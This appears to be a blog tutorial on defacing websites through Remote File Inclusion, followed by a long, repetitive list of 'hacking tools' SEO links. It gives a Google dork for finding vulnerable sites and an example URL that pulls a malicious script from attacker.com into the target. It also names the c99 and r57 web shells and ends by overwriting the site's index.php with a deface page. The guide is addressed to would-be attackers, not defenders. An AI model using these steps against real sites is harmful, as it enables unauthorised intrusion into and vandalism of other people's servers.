HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related links

1. Pentest Tools For Mac
2. Hacking Tools Download
3. Hacking Tools Software
4. Hacker Tools For Pc
5. Hacker Tools For Pc
6. Easy Hack Tools
7. Hacker Search Tools
8. Hacker Search Tools
9. Tools Used For Hacking
10. New Hacker Tools
11. Hacking App
12. Hackrf Tools
13. Pentest Tools Open Source
14. Hacker Tools List
15. Hacker
16. Hack Tools For Games
17. Hacker Search Tools
18. Best Hacking Tools 2019
19. Github Hacking Tools
20. Physical Pentest Tools
21. World No 1 Hacker Software
22. Pentest Tools For Android
23. Pentest Tools Free
24. Hacker Tools Software
25. Pentest Tools Github
26. Hacker Tools For Ios
27. Hack And Tools
28. Hack Tools Pc
29. Tools Used For Hacking
30. Underground Hacker Sites
31. Hacking Tools For Beginners
32. Android Hack Tools Github
33. Hacking Tools
34. Tools 4 Hack
35. Hacking Apps
36. Hacker Tools 2019
37. Hacker Tools 2019
38. Hack Tools For Pc
39. Hacker Tools Mac
40. Hacker Tools Mac
41. Pentest Recon Tools
42. Hacking App
43. Hacking Apps
44. Game Hacking
45. Hacker Tool Kit
46. Hacking Tools Usb
47. Blackhat Hacker Tools
48. Hacking Tools Download
49. Hacker Tools Online
50. Pentest Reporting Tools
51. Hacker Tools For Mac
52. Free Pentest Tools For Windows
53. Top Pentest Tools
54. How To Make Hacking Tools
55. Pentest Tools Online
56. Hacker Tools Online
57. Bluetooth Hacking Tools Kali
58. Pentest Tools Url Fuzzer
59. Kik Hack Tools
60. Pentest Tools For Android
61. Pentest Tools Apk
62. Hacking Tools Software
63. Pentest Tools Github
64. Hackrf Tools
65. Pentest Automation Tools
66. Blackhat Hacker Tools
67. Hack Tools Mac
68. Pentest Tools Github
69. Hacker Tools Hardware
70. Usb Pentest Tools
71. Hacking Tools Software
72. Hacking Tools For Windows Free Download
73. Pentest Tools Find Subdomains
74. What Is Hacking Tools
75. Top Pentest Tools
76. Hacking Tools Pc
77. Hackers Toolbox
78. New Hacker Tools
79. Hack App
80. Hacker Tools 2019
81. Pentest Reporting Tools
82. New Hack Tools
83. Pentest Tools Windows
84. Hacking Tools Kit